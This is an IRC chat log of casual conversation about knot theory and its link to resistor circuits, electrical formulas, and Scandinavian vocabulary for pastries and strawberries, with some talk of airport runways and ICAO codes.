20:00:14 <AnMaster> if joined together as a möbius one, then it would end up as a two sided double twisted thingy I assume?
20:00:22 <AnMaster> not sure where the colours would end up
20:00:50 <uorygl> The colors would end up one on one side, the other on the other side. :P
20:00:59 <AnMaster> uorygl, ah
20:01:15 <AnMaster> and then what about that new one going to two intertwinned loops?
20:01:27 <AnMaster> which was what I was actually asking about
20:01:35 <AnMaster> not the one sided -> two sided
20:01:42 <AnMaster> but the next "transformation"
20:02:46 <uorygl> Colors don't help you determine whether the loops are intertwined or not.
20:03:32 <AnMaster> uorygl, well then what does
20:03:33 -!- gm|lap has joined.
20:03:51 -!- charlls has joined.
20:03:53 * oerjan assumes knot theory :D
20:04:18 <AnMaster> oerjan, which sounds like topology on steroids.
20:05:10 <oerjan> topology contains things far weirded than knots
20:05:14 <oerjan> *weirder
20:05:34 <AnMaster> what use is this btw? I mean, outside mathematics
20:05:39 <uorygl> I don't know. Stuff like knot theory is kind of difficult, because if you're inside a knot, you can't tell that you're inside a knot.
20:05:57 <uorygl> Sometimes, math, though interesting, is absolutely useless.
20:06:14 <uorygl> In the real world, you sometimes need to embed one space into another.
20:06:28 <AnMaster> uorygl, examples?
20:06:47 <uorygl> Suppose you have a circuit shaped like a Mobius strip, and you have to make it into a two-dimensional integrated circuit.
20:07:00 <oerjan> the only thing that vaguely rings a bell with knots is string theory, which doesn't exactly help
20:07:01 <uorygl> Or maybe it's shaped like a torus.
20:07:06 <uorygl> How many layers do you need?
20:07:17 -!- sshc_ has changed nick to sshc.
20:07:24 <AnMaster> hm
20:07:30 <uorygl> With a Mobius strip, you need two layers; with a torus, you need four; with a just plain strip, you only need one.
20:07:50 <oerjan> uorygl: oh right, but that's more a planar graph thing than knot theory isn't it
20:08:07 <uorygl> There's an interesting and strange isomorphism between knot diagrams and circuit diagrams.
20:08:10 <AnMaster> uorygl, I never seen anyone beginning by designing an IC circuit on anything but a flat surface, but I'm no expert in that field
20:08:40 <oerjan> or maybe those are deeply connected fields, sounds sensible actually
20:08:42 <uorygl> AnMaster: sometimes, you want to build a circuit reflecting an existing topological space, like if you want to build a circuit for cellular automata.
20:09:22 <AnMaster> hm
20:09:53 <oerjan> uorygl: why would you need four with a torus, don't you just take one layer with the upper half and one with the lower half
20:09:57 <AnMaster> however, I'm not sure things like game of life on a torus would count as a "real world application" :P
20:10:12 <uorygl> oerjan: hmm, quite right.
20:10:34 <uorygl> So, this isomorphism. Your knot diagram's edges rope off regions; the regions we're interested are the ones where to get to the outside of the knot diagram, you need to cross an odd number of edges.
20:10:39 <AnMaster> oerjan, what about the join in the other direction?
20:10:55 <AnMaster> oerjan, as in, what you said works for a tube, but I'm not sure about a torus
20:11:10 <uorygl> These regions become nodes in the circuit diagram. Wherever there's a crossing, two of these regions meet; the crossing becomes a resistor connecting the two nodes.
20:11:17 <oerjan> AnMaster: you use an actual circular arrangement?
20:11:23 <AnMaster> oerjan, of what?
20:11:26 <uorygl> If the crossing goes one way, it's a one-ohm resistor; if it goes the other way, it's a negative-one-ohm resistor.
20:11:30 <oerjan> of each half
20:11:31 <AnMaster> oh wait
20:11:35 <AnMaster> right
20:11:37 <AnMaster> that would work
20:11:46 <AnMaster> would be an awesome cpu
20:11:51 <AnMaster> if it was circular
20:12:01 <uorygl> And strangely, all the Redemeister moves, the things you can do to a knot diagram that leave it unchanged, are also things that leave the circuit essentially unchanged.
20:12:14 <fax> ??
20:12:16 <uorygl> As far as I can tell, this is simply a massive coincidence.
20:12:17 <fax> strangely?
20:12:19 <AnMaster> uorygl, !!!! resistors don't have directions
20:12:20 <AnMaster> as in
20:12:25 <AnMaster> they work the same both ways
20:12:35 <AnMaster> unlike, say, a transistor
20:12:46 <oerjan> uorygl: what do you need for a klein bottle? >:)
20:12:48 <AnMaster> (which has more than two legs)
20:12:48 <uorygl> AnMaster: let me make some ASCII art illustrating this.
20:13:42 <AnMaster> uorygl, look, I'm currently studying AC electric theory at university. Did DC a month back or so. And if there is one thing I'm certain of, it is that resistors work the same *in both directions*
20:14:01 <uorygl> I know. And crossings look the same in both directions.
20:14:31 <AnMaster> uorygl, sure, and you can't get negative resistance except by using some arrangement of transistors or such to "emulate" that
20:14:54 <uorygl> I know.
20:15:09 <uorygl> Still, negative resistors are mathematically well-defined.
20:15:29 <uorygl> The paste, if you care for it: http://pastebin.ca/1834339
20:15:49 <AnMaster> uorygl, sure, but they don't actually make any physical sense
20:16:13 <uorygl> It's math! It doesn't need to make sense!
20:16:36 <AnMaster> uorygl, and sure, if you rotate it 180 degrees, it looks the same except you now have a reverse B and a "forall" symbol
20:16:46 <AnMaster> but what about it?
20:16:49 -!- adam_d has joined.
20:17:00 <uorygl> It's a neat isomorphism.
20:17:01 <AnMaster> uorygl, where does the negative one ohm come into it
20:17:23 <uorygl> Well, if the crossing goes the other way, it's a negative resistor.
20:17:31 <AnMaster> uorygl, also how exactly is it isomorphic to a 1 ohm resistor?
20:17:58 <uorygl> It's isomorphic to a 1-ohm resistor because the isomorphism maps it onto a 1-ohm resistor.
20:18:10 <AnMaster> uorygl, and what is that isomorphism?
20:18:11 <uorygl> The bijection is an isomorphism because knot diagrams and these circuits obey the same laws.
20:18:23 <AnMaster> huh
20:18:49 <AnMaster> uorygl, so where are the poles in that ascii art?
20:19:01 <AnMaster> is it the ends of the lines? if so, why 4?
20:19:53 <uorygl> The poles are the regions A and B.
20:20:52 <AnMaster> okay...
20:21:18 <AnMaster> this seems fairly complex
20:21:47 <AnMaster> uorygl, and how do you represent a capacitor of 0.1 µF in that sort of thingy?
20:21:59 <AnMaster> (modulo typos)
20:22:20 <uorygl> By understanding this much better than I do.
20:22:25 <AnMaster> heh
20:22:29 <AnMaster> good answer I guess
20:22:32 <Wareya> hi
20:22:42 <uorygl> Hi, Wareya.
20:22:46 <AnMaster> uorygl, what about something simpler like a 1.25 Ohm resistance?
20:27:34 <AnMaster> btw, are there matrices in more than 2 dimensions? I can't see why not, but I have never seen any such
20:27:49 <oerjan> use 4 parallel copies of 5 serially connected 1 Ohm resistors. maybe.
20:28:16 <AnMaster> oerjan, hm there should be resistances that you can't reach by doing such operations
20:28:21 <AnMaster> oerjan, what about pi Ohm for example
20:28:33 <uorygl> oerjan's idea is what I would have said.
20:28:47 <oerjan> AnMaster: um do you consider an n by n matrix as 2- or n-dimensional?
20:29:14 <AnMaster> oerjan, well in this case as 2D. Since you can locate a given number in it by taking column and row numbers
20:29:22 <AnMaster> which is analogous to x and y coordinate
20:29:30 <oerjan> in that case you probably want to look at tensors
20:29:58 <uorygl> The thing is, I tried making the knot diagram corresponding to three parallel copies of three serially connected one-ohm resistors, and I'm pretty sure the result was not equivalent to simply a one-ohm resistor.
20:30:06 <AnMaster> oerjan, ah, I heard that word before. Tell me, does it extend to n dimensions for any n in R, or just to some boring fixed number n?
20:30:53 <oerjan> AnMaster: any natural number n. also you don't call it dimensions, that's for the underlying space (i.e. n in n by n)
20:30:58 <oerjan> afaik
20:31:02 <AnMaster> oerjan, ah I see
20:31:43 <AnMaster> uorygl, maybe you did the connection of those in the wrong way?
20:32:28 <oerjan> AnMaster: the term used seems to be "order"
20:32:38 <AnMaster> oerjan, silly mathematicans ;P
20:34:26 <oerjan> AnMaster: i assume you can only reach rational resistances that way, at least by combining serial and parallel separately (serial adds the resistances and parallel adds their inverses iirc)
20:34:31 <uorygl> It's pretty simple and regular.
20:34:48 <uorygl> So I don't think I make a mistake.
20:35:10 <AnMaster> oerjan, the formula is 1/R_new = 1/R_1 + 1/R_2 + ... + 1/R_n
20:35:27 <oerjan> well that's what i _said_ isn't it
20:35:32 <AnMaster> oerjan, so yes, add their inverses, *plus* then invert that
20:35:58 <AnMaster> oerjan, the sum of their inverses is 1/R_new after all
20:36:12 <oerjan> um right that may have been unclear
20:36:30 <AnMaster> oerjan, I'm tempted to say: s/unclear/forgotten/
20:36:41 <oerjan> not really
20:36:49 <AnMaster> okay
20:37:34 <uorygl> Serial adds the resistances to get the new resistance. Paralle adds their inverses to get the new inverse.
20:37:35 <fax> why is it 1/A = 1/B + 1/C?
20:38:18 <uorygl> fax: well, you can derive that using Ohm's law and some basic knowledge of how circuits work.
20:38:32 <AnMaster> oerjan, the interesting thing is that if you have a sinus formed alternating current, and write capacitances and inductances as specific complex values you can calculate as if it was all direct current
20:38:35 <fax> how do circuits work
20:38:47 <AnMaster> fax, by suitably advanced magic
20:38:53 <AnMaster> err, I mean technology of course ;P
20:39:15 <oerjan> fax: it has to do in my intuition with how resistance is the quotient of voltage and current, and serial vs. parallel adds voltage and current respectively
20:39:45 <fax> why does parallel add current?
20:39:49 <AnMaster> oerjan, the former is called Ohm's law
20:39:56 <AnMaster> fax, err what?
20:40:21 <AnMaster> oerjan, what do you mean "serial vs. parallel adds voltage and current respectively"
20:40:23 <uorygl> Well, every pole has a voltage, and every component has a current, and the currents in and out of a pole must add up to the same thing, and every component has an equation of some sort determining the relation between voltage and current.
20:40:30 <AnMaster> I'm unable to decode that in a sensible way
20:40:35 <oerjan> because for a fixed voltage across, you get the current flowing across _each_ branch for that branch
20:40:54 <uorygl> When you place two components in parallel, the voltage across the entire group is equal to the voltage across each component.
20:41:13 <uorygl> And the current across the entire group is equal to the sum of the currents across each component.
20:41:18 <fax> aha
20:41:36 <AnMaster> what uorygl said was a lot more sensible.
20:41:37 <uorygl> If you want to know how analog circuits work, this applet makes it crystal clear: http://falstad.com/circuit/
20:42:03 <AnMaster> fax, think of parallel it as opening more roads for the traffic to drive along to the same goal
20:42:08 <AnMaster> s/it//
20:42:31 <oerjan> AnMaster: well he explained why it's the case...
20:43:01 <AnMaster> oerjan, your statement seemed somewhat confused. As in what do you mean "serial adds voltage"?
20:43:02 <oerjan> also i've never learned alternating current
20:43:11 <AnMaster> what exactly does that even mean
20:43:28 <oerjan> AnMaster: the potential between the ends is the sum of the potentials across each step
20:43:29 <uorygl> AnMaster: well, do you know what he meant by "parallel adds current"?
20:43:39 <AnMaster> oerjan, oh it is fun. You just write currents and voltages on polar form, plus what I said above for the components, and calculate the same
20:43:59 <AnMaster> then you just pick the pieces back to the non-complex form for the final result
20:44:04 <uorygl> When you place two components in series, the current through the entire group is equal to the current through each component, and the voltage across the entire gruop is equal to the sum of the voltages across each component.
20:44:12 <AnMaster> <oerjan> AnMaster: the potential between the ends is the sum of the potentials across each step <-- well sure
20:44:30 <AnMaster> <uorygl> AnMaster: well, do you know what he meant by "parallel adds current"? <-- I can have a guess, but it isn't how I would express it.
20:45:15 <AnMaster> uorygl, I know how to do the math, I just don't think his way of describing the operations made a lot of sense
20:45:35 <AnMaster> to the extent I was unable to decode what operation he meant
20:46:38 * uorygl nods.
20:46:51 <oerjan> whatEVER
20:47:04 <AnMaster> uorygl, plus I'm somewhat challenged when it comes to the English terms for these things. The course is in Swedish
20:48:23 <oerjan> current = strøm, voltage/potential = spenning, if the norwegian terms help
20:48:42 <AnMaster> oerjan, that doesn't work as we have voltage = spänning potential = potential
20:49:05 <AnMaster> and current = ström I know
20:49:06 <oerjan> well i'm a little vague on the difference between those two
20:49:13 <AnMaster> oerjan, also what about impedans?
20:49:15 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
20:49:23 <oerjan> isn't that impedance
20:49:31 <uorygl> I suddenly wonder why you guys are speaking English. :P
20:49:32 * AnMaster looks on wikipedia
20:49:41 <AnMaster> uorygl, oh?
20:49:44 <oerjan> i think it's impedans in norwegian too
20:49:57 <AnMaster> oerjan, seems it is impedance from a quick look at wikipedia
20:50:08 <uorygl> It would be neat if you spoke Norwegian and Swedish and I tried to follow along.
20:50:22 <oerjan> at least i recall my dad using that word (he's an electrical engineer)
20:50:41 <AnMaster> uorygl, well we would have some issues between ourselves. While the languages are similar, they are not that close
20:50:47 <AnMaster> so some confusion would certainly arise
20:50:52 <oerjan> uorygl: Nei det ville det ikke
20:51:09 <AnMaster> and that if directly translated to Swedish is somewhat silly
20:51:22 <AnMaster> for a start what on earth does "det" refer to in there?
20:51:30 <AnMaster> the second one that is
20:51:32 <AnMaster> but also the first
20:51:52 <oerjan> AnMaster: the "It" of uorygl's sentence
20:52:19 <AnMaster> a literal translation from me would be: "no that want that not", an "idiomatic if it was Swedish" would be "no it won't it" or such.
20:52:25 <AnMaster> or rather, <grammar error>
20:52:34 <oerjan> i suppose you could add "være" at the end for better precision
20:52:49 <AnMaster> oerjan, I think your "det" can be used somewhat differently than "det" in Swedish perhaps?
20:53:36 <oerjan> AnMaster: i don't know anything about that. it corresponds to both "it" and "there (is)" in english though, though swedish was the same
20:53:39 <oerjan> *thought
20:53:42 <uorygl> Eh. Everyone, just learn Spanish. :P
20:53:44 <AnMaster> oerjan, please give an English idiomatic translation of the whole thing, because I haven't figured it out
20:53:49 <AnMaster> uorygl, agreed!
20:53:55 <oerjan> AnMaster: "No, it wouldn't be"
20:53:56 <AnMaster> oh wait
20:54:00 <uorygl> Let's see, I don't have a Swedish keyboard installed.
20:54:01 <AnMaster> I thought you said Swedish
20:54:03 <AnMaster> not Spanish
20:54:06 <AnMaster> blerh
20:54:08 <AnMaster> blergh*
20:54:13 <AnMaster> oerjan, ah...
20:54:22 <AnMaster> oerjan, "nej, det skulle det inte vara"
20:54:38 <oerjan> AnMaster: so "det" wasn't the problem actually?
20:54:40 <AnMaster> oerjan, so the issue is "ville" which means "want" but not "would"
20:55:00 <AnMaster> (well, vill is the base form rather)
20:55:05 <uorygl> börk
20:55:06 <oerjan> well i knew that about swedish, i think
20:55:27 <AnMaster> oerjan, which mean what you said didn't make a lot of sense to me. I was wondering what was wanting what
20:55:32 <AnMaster> (perhaps for a bday present?)
20:56:03 <oerjan> ville/skulle is a little awkward to translate i guess
20:56:04 <AnMaster> uorygl, you know, that is so completely un-Swedish as you can get, to a Swede that is
20:57:49 <AnMaster> oerjan, the word doesn't map 1:1 to English would for all forms, as in, the ground form "ska" maps to ~will (as in "foo will turn into bar" or whatever, not as in "last will")
20:58:32 <AnMaster> "last will" seems to make more sense if you set in the Swedish "vill", so it turns into "last want"
20:58:45 <AnMaster> perhaps it is some old form of a word still left in that phrase or such?
20:58:47 <oerjan> siste vilje
20:59:28 <oerjan> (in norwegian)
20:59:41 <AnMaster> oerjan, yep similar in Swedish. though if it is the legal document you mean it would be "testamente"
20:59:53 <oerjan> yeah
21:00:10 <uorygl> I'm tempted to speak Norwegian, but as the only words I know are "skillingsbolle" and "smultring", I can't.
21:00:11 <oerjan> "last will and testament"
21:00:22 <oerjan> uorygl: at least you won't starve
21:00:30 <AnMaster> uorygl, what is the first?
21:00:40 <uorygl> Cinnamon roll.
21:00:53 <AnMaster> the latter I can guess, if it is actually sv:"smultron"? (not sure if that is spelled with o or å though)
21:01:02 * oerjan would call that kanelbolle...
21:01:12 <AnMaster> oh kanelbulle
21:01:26 <AnMaster> oerjan, are your bullar spheres or what?
21:01:27 <AnMaster> ;P
21:01:30 <oerjan> `translatefromto sw en smultron
21:01:32 <uorygl> Don't ask me why Wikipedia calls it a skillingsbolle.
21:01:37 <oerjan> AnMaster: approximately
21:01:44 <HackEgo> smultron
21:01:45 <oerjan> uorygl: oh it's probably called that too
21:01:59 <oerjan> oh wait
21:02:05 <oerjan> `translatefromto sv en smultron
21:02:07 <HackEgo> strawberries
21:02:14 <oerjan> what the heck
21:02:15 <AnMaster> oerjan, since sv:boll = en:ball. thus "kanelbolle" sounds like a ball of kanel to me
21:02:31 <oerjan> AnMaster: _definitely_ not smultron, then (would be "jordbær")
21:02:31 <uorygl> Wiktionary says that smultringer are called "munk" in Swedish.
21:02:40 <AnMaster> oerjan, then what is "smultring" then?
21:02:42 <uorygl> Or "flottyr-ring" or "ringmunk" or something.
21:02:59 <AnMaster> oerjan, also strawberries seems wrong...
21:03:00 <uorygl> http://sv.wikipedia.org/wiki/Munk_%28bakverk%29
21:03:08 <uorygl> Those munkar look delicious.
21:03:20 <oerjan> AnMaster: plain donuts, was the conclusion of our discussion here
21:03:27 <AnMaster> oerjan, http://sv.wikipedia.org/wiki/Smultron
21:03:36 <AnMaster> which are *not* strawberries, but a related thingy
21:03:57 <AnMaster> en:strawberry = sv:jordgubbe
21:03:59 <Deewiant> They are strawberries
21:04:03 <Deewiant> Just not the same kind
21:04:15 <AnMaster> hm
21:04:17 <AnMaster> perhaps
21:04:23 <AnMaster> I'm no specialist on that sort of thing
21:04:24 <Deewiant> en:strawberry = fi:mansikka, sv:smultron = fi:metsämansikka
21:04:27 <oerjan> AnMaster: markjordbær vs. jordbær in norwegian
21:04:55 <AnMaster> oerjan, the former seems somewhat silly. "ground earth berries" and the latter "earth berries"?
21:05:24 <uorygl> Swedish Wiktionary says that smultron are Fragaria vesca, which English Wikipedia says are commonly known as woodland strawberries.
21:05:30 <uorygl> s/Wiktionary/Wikipedia/
21:05:37 <AnMaster> oerjan, why not "ground earth zero-altitude berries" next
21:05:52 <oerjan> AnMaster: well "mark" here sounds me like it means "in the wild" in this case
21:06:03 <AnMaster> oerjan, aha
21:06:24 <AnMaster> oerjan, there are no such connotations of that word in Swedish
21:06:29 <uorygl> Lowly ground earth dirt berries!
21:06:35 <oerjan> while the other kind is a farmed variety, which iirc is a hybrid of markjordbær with an american relative...
21:06:42 <AnMaster> probably it would be called "vilda &" or "vild&" or such
21:06:50 <AnMaster> (where & as in sed)
21:06:59 <oerjan> (i think i heard that mentioned on television recently)
21:07:13 <oerjan> which must mean christmas, since that was last i watched tv
21:07:37 <AnMaster> <uorygl> Wiktionary says that smultringer are called "munk" in Swedish. <-- sv:munk is *also* en:monk
21:07:39 <AnMaster> just to confuse things
21:07:51 <uorygl> Yum, monks.
21:08:11 <AnMaster> so if you google translate a Swedish article about either and happen to get some of the other things you now know the cause
21:09:00 <AnMaster> http://sv.wikipedia.org/wiki/Munk_%28olika_betydelser%29 <-- apparently it can also be something related to hydrology
21:09:05 <AnMaster> I have no idea what
21:10:14 <uorygl> `translate Munk är inom hydrologin en regleranordning för att kunna reglera inloppet eller utloppet till en damm.
21:10:18 <HackEgo> Monk is in hydrology a regulated regime to regulate the inlet or outlet to a pond.
21:10:26 <oerjan> oh wait wikipedia disagrees with me
21:10:35 <uorygl> A regulated regime.
21:10:40 <oerjan> "The garden strawberry was first bred in Brittany, France in 1740 via a cross of Fragaria virginiana from eastern North America , which was noted for its flavor, and Fragaria chiloensis from Chile and Argentina brought by Amédée-François Frézier, which was noted for its large size."
21:10:44 <AnMaster> uorygl, mistranslation
21:10:55 <uorygl> `translate Ursprungligen betecknar ordet munk ett vertikalt rör, där vatten kan strömma in över kanten när vattenytan i dammen överstiger kantens höjd.
21:11:00 <HackEgo> Originally, the word denotes a monk, a vertical pipe, where water can flow onto the top when the water in the pond exceeds the edge height.
21:11:08 <AnMaster> uorygl, it would be "regulation apparatus"
21:11:13 <AnMaster> or some such
21:11:13 <oerjan> or with my recollection, rather. anyway neither ancestor was actually markjordbær then
21:12:41 <oerjan> strangely afaik in norwegian "munk" means only the same as english "monk"
21:12:51 <AnMaster> heh
21:12:57 <oerjan> never heard any of the other meanings
21:13:37 <AnMaster> oerjan, flottyr-ring works in Swedish too (for the non-monk-or-hydrology type of munk that is)
21:13:43 <AnMaster> well
21:13:47 <AnMaster> drop that -
21:14:03 <AnMaster> it seems out of place
21:14:35 <AnMaster> uorygl, what is your native language then?
21:14:48 <oerjan> heh sw:munk as bakery is named for the monk hairstyle :D
21:14:57 <AnMaster> hah
21:14:59 <AnMaster> that explains it
21:15:04 <AnMaster> oerjan, also: sv not sw
21:15:12 <oerjan> yeah yeah
21:15:17 <uorygl> English.
21:15:45 <AnMaster> uorygl, then I feel sorry that you can't almost freely concatenate words to form new longer ones!
21:15:51 <uorygl> :)
21:15:56 <AnMaster> (with a well defined meaning of course)
21:16:00 <uorygl> We can do that; it's just that we still put spaces in between.
21:16:15 <AnMaster> uorygl, then it isn't true concatenation
21:16:18 <uorygl> So we say "Grand Valley State University Honors College application" instead of "Grandvalleystateuniversityhonorscollegeapplication".
21:16:19 <AnMaster> so it doesn't count
21:16:42 <AnMaster> uorygl, we need to add a few binding letters in there in Swedish between some of them
21:16:54 <AnMaster> it will take a few seconds to translate that
21:17:22 <oerjan> ordsammensetningsumulighetssorg
21:17:49 <AnMaster> oerjan, "umulighet"?
21:17:55 <uorygl> `translatefromto en sv grand valley state university honors college application
21:17:57 <HackEgo> Grand Valley State University utmärkelser högskola ansökan
21:18:04 <oerjan> omöjlighet?
21:18:09 <AnMaster> oerjan, ah
21:18:15 <uorygl> Apparently Google knows what Grand Valley State University is.
21:18:27 <AnMaster> uorygl, I'm unable to translate "collage"
21:18:34 <AnMaster> to anything except "universitet"
21:18:38 <AnMaster> which we already have
21:18:47 <uorygl> In this case, a college is a sub-unit of a university.
21:18:53 <AnMaster> Stordalgångslänsuniversitetsheders<insert collage translation here>ansökan
21:18:56 <AnMaster> and well
21:19:02 <AnMaster> state had to be translated to län
21:19:07 <AnMaster> which is the not exactly
21:19:14 <AnMaster> but we don't have a real word for an US state
21:19:31 <AnMaster> except, stat, which is also a synonym to land (country)
21:19:47 <uorygl> Well, "state university" has a special meaning.
21:19:49 <AnMaster> a Swedish län is *way* smaller than a US state
21:19:56 <AnMaster> uorygl, oh? well then I have no clue
21:20:16 <uorygl> A state university is a public university funded by an individual state.
21:20:29 <AnMaster> <uorygl> Apparently Google knows what Grand Valley State University is. <-- no it doesn't since it didn't translate it
21:20:35 <AnMaster> or if it is a name then I guess it does
21:21:05 <AnMaster> uorygl, oh and it's "högskola" for "college" is not a sub-unit of a university
21:21:15 <AnMaster> it is closer to what in UK I think used to be called a polytechnic
21:21:21 -!- pikhq has quit (Read error: Connection reset by peer).
21:21:40 <uorygl> It did translate it. It translated it from "grand valley state university" to "Grand Valley State University".
21:21:52 <AnMaster> uorygl, which makes no sense in Swedish
21:21:58 <AnMaster> since you don't do caps in the names like that
21:22:05 <uorygl> Well, it's an English name.
21:22:11 <AnMaster> uorygl, we don't have title case you see
21:22:17 <uorygl> "Grand Valley State University (GVSU) er et universitet med hovedbase i Allendale i Michigan i Amerikas forente stater."
21:22:31 <AnMaster> uorygl, that was norwegian
21:22:35 <uorygl> True.
21:22:36 <AnMaster> or perhaps Danish
21:22:38 <AnMaster> can't really tell
21:22:40 <uorygl> Norwegian.
21:22:57 <AnMaster> mhm
21:22:59 <oerjan> i think danish would be "forenede"
21:23:03 <oerjan> or something like that
21:23:05 <AnMaster> förenta in Swedish
21:23:13 <AnMaster> and "er et" would be "är ett"
21:23:23 <AnMaster> and hovedbase would be "huvudbas"
21:23:30 <AnMaster> but that would sound awkward in that context
21:23:40 <AnMaster> it sounds like some military main base or such
21:23:44 <oerjan> i'm not sure there would be any other differences between danish and norwegian there
21:24:23 * AnMaster would write it in a different way to get idiomatic Swedish
21:24:46 <oerjan> danish wikipedia has no article on GVSU
21:24:51 <AnMaster> probably instead of "with main base in" it would be like "located in"
21:25:37 <oerjan> um main base would imply there could be other bases elsewhere
21:25:50 <oerjan> it seems to me
21:26:05 <AnMaster> oerjan, perhaps, well I would check if there was, and then write something that fitted that
21:26:21 <AnMaster> also I guess the more idiomatic English term would be HQ
21:26:34 <oerjan> of course the english article uses "located" :D
21:26:40 <AnMaster> which reminds me of RTS
21:27:09 <uorygl> GVSU does indeed have multiple campuses.
21:27:26 <uorygl> The main one is in Allendale, there's another one in downtown Grand Rapids, and there are a couple of tiny ones in other places.
21:27:39 -!- pikhq has joined.
21:28:45 <AnMaster> uorygl, "with campus in Allendale, foo, bar and so on", with the Swedish translation for "and so on" sounding a lot better in the context than it does in English
21:29:04 <AnMaster> "med flera" (literally: with more)
21:29:09 <AnMaster> well no that isn't a literal translation
21:29:24 <uorygl> I think we would tend to use "and others".
21:29:27 <AnMaster> oerjan, English doesn't have different words for mer and fler does it?
21:29:36 <AnMaster> uorygl, closer to the Swedish yeah
21:29:37 <uorygl> With campuses in Allendale, Grand Rapids, Holland and others.
21:29:52 <AnMaster> uorygl, shows I'm not a native speaker, not thinking of that English way
21:30:04 <uorygl> The Holland campus is really inconvenient because it's in a different continent.
21:30:07 <oerjan> AnMaster: i think not, it has "less" vs. "fewer" but not the other way iirc
21:30:13 <AnMaster> yeah
21:30:31 <AnMaster> which is rather unsymmetrical when you think about it
21:30:38 <uorygl> And they speak Dutch on that campus.
21:30:40 <AnMaster> uorygl, don't you agree?
21:30:47 <uorygl> I really have no idea why GVSU has a campus there.
21:30:55 <uorygl> Yeah.
21:30:56 <AnMaster> uorygl, I was just about to ask you heh
21:31:20 <uorygl> Of course, I'm entirely kidding, and Holland is actually a city in Michigan.
21:31:31 <AnMaster> uorygl, err? really?
21:31:44 <AnMaster> now that is confusing
21:31:45 <uorygl> There is a city called Holland, Michigan, yes.
21:31:51 <oerjan> Paris, Texas
21:31:58 <AnMaster> should anyone in Michigan actually *want* to travel to the real Holland
21:32:08 <AnMaster> like, when ordering tickets
21:32:11 <uorygl> Once, before I knew about it, my mom said, "Bye! I'm going to Holland!", and I thought, "Wait, what?"
21:32:16 <AnMaster> at least if the city also have an airfield
21:32:46 <fizzie> Isn't it quite a common thing for US people to do to name their cities and such after "real" places?
21:33:03 <AnMaster> fizzie, why did you have to put quotes around real there?
21:33:07 <AnMaster> it ruined the thing
21:33:38 <fizzie> I notice it whenever I go to maps.google.com and type in a city without bothering to scroll away from the default US-centered start view; then it zooms to somewhere in Texas or whatever.
21:33:46 <uorygl> Azeroth, California
21:33:53 -!- gm|lap has quit (Quit: HydraIRC is a child molester -> http://silverex.net/news <- i couldn't change my quit message).
21:34:03 <AnMaster> Azeroth?
21:34:10 <AnMaster> that sounds somewhat familar
21:34:15 <uorygl> World of Warcraft.
21:34:23 <AnMaster> uorygl, I don't play that
21:34:24 <Deewiant> Or just Warcraft.
21:34:25 <AnMaster> so can't be
21:34:28 <AnMaster> nor that
21:34:47 <uorygl> Wikipedia says that Holland, Michigan has two airports but no commercial flights.
21:34:58 <AnMaster> two!?
21:35:06 <AnMaster> what kind of metropol is that?
21:35:25 <uorygl> Population 35,000.
21:35:32 <AnMaster> okay that is just weird
21:35:40 <uorygl> I think they're the sort of airport that consists of a hanger and a runway.
21:35:44 <uorygl> s/e/a/
21:35:46 <AnMaster> even so
21:35:54 <AnMaster> a runway takes a lot of space
21:36:02 <uorygl> A road also takes a lot of space.
21:36:07 <fizzie> Incidentally, now that I went to test that maps.google.com, it seems to jump to the actual places I was actually looking for. Maybe they've changed that a bit.
21:36:13 <AnMaster> usually 1 km x 20 m or so at least
21:36:14 <uorygl> Michigan has plenty of rural space to spare.
21:36:52 <uorygl> Is that 20 meters for the runway itself or also for the surrounding cleared area?
21:37:38 -!- pikhq has quit (Read error: Connection reset by peer).
21:37:41 <uorygl> I guess we have some roads that are about 20 meters wide.
21:37:47 <AnMaster> uorygl, of it itself, but this varies widely with the intended use of the runway
21:37:50 <AnMaster> some can be much wider
21:37:52 <fizzie> The local "small" airport here in Helsinki seems to have runways of approximately that width.
21:37:53 <AnMaster> and much longer
21:38:06 <fizzie> (Based on Google's satellite imagery.)
21:38:35 <AnMaster> consider KEDW, that has some *very* wide runways
21:38:41 <AnMaster> (don't know exact values)
21:39:01 <fizzie> The "main" (Helsinki-Vantaa) airport runway width, eyeballing from that satellite photo, seems to be around 50 m.
21:39:11 <AnMaster> well http://www.airnav.com/airport/KEDW gives 4R/22L as 91 meters wide
21:39:17 <AnMaster> which is very wide
21:39:34 <AnMaster> also it is over 4.5 km long that one
21:39:52 <fizzie> Aw, I can't check my eyeball measurements, that site seems rather US-centric.
21:40:09 <AnMaster> fizzie, what is the ICAO code for it?
21:40:39 <AnMaster> fizzie, well?
21:40:57 <AnMaster> fizzie, I could probably look it up with relative ease if I can just get the ICAO code for it..
21:41:17 <AnMaster> it would start on E (north Europe) I know that
21:41:25 -!- pikhq has joined.
21:41:30 <AnMaster> I don't know what the second letter is for finland
21:41:45 <fizzie> EFHK.
21:42:08 <fizzie> It's F for Finland. (Or maybe it's just a happy accident and not by design.)
21:42:31 <uorygl> Does K mean United States?
21:42:49 <AnMaster> uorygl, yes, you have 3 letters for inside the US
21:43:00 <AnMaster> iirc france has a single letter prefix too
21:43:04 <AnMaster> and a few other big countries
21:43:23 <uorygl> I just realized that I don't know what France calls itself.
21:43:41 <AnMaster> fizzie, I forgot how to extract this from the flightgear airport data...
21:44:06 <uorygl> They call themselves France. That was easy enough.
21:44:22 <oerjan> _la_ France
21:44:22 <AnMaster> fizzie, what is your equiv of luftfartsverket?
21:44:54 <AnMaster> they should have some sheets of info on the airport
21:44:59 <AnMaster> on their website
21:45:27 <fizzie> AnMaster: I guess it's called Finavia nowadays. And yes, I guess they'd have that.
21:45:28 <AnMaster> with stuff like VOR freqs and any ILS glideslopes and landing patterns and what not
21:45:35 <oerjan> AnMaster: hey you're not supposed to spell that exactly the same as in norwegian!
21:46:27 <AnMaster> fizzie, "Finavia" sounds like some company flying cheap flights to tourist filled up islands or such
21:46:32 <oerjan> hm actually it's no longer called that in norwegian
21:46:47 <oerjan> Avinor now
21:46:56 <AnMaster> ooh that sounds as silly...
21:46:58 <AnMaster> as the Finnish one
21:47:11 <oerjan> fizzie: shall we beat him up?
21:47:38 <fizzie> oerjan: Yes. Do you want to be the one doing the beating, or the holding?
21:47:47 <AnMaster> hah
21:47:49 <oerjan> ouch, choices
21:48:01 <AnMaster> oerjan, also from which direction to attack?
21:48:08 <AnMaster> and how to represent it?
21:48:24 <oerjan> stealth attack! -----###
21:48:28 <AnMaster> as a vector? If so, what would the base (is that the correct English term?) be
21:48:34 <AnMaster> oerjan, no
21:48:41 <AnMaster> oerjan, you got that wrong i think
21:48:52 <oerjan> hm?
21:48:55 <AnMaster> oerjan, it seems to be one - short
21:49:13 <oerjan> no
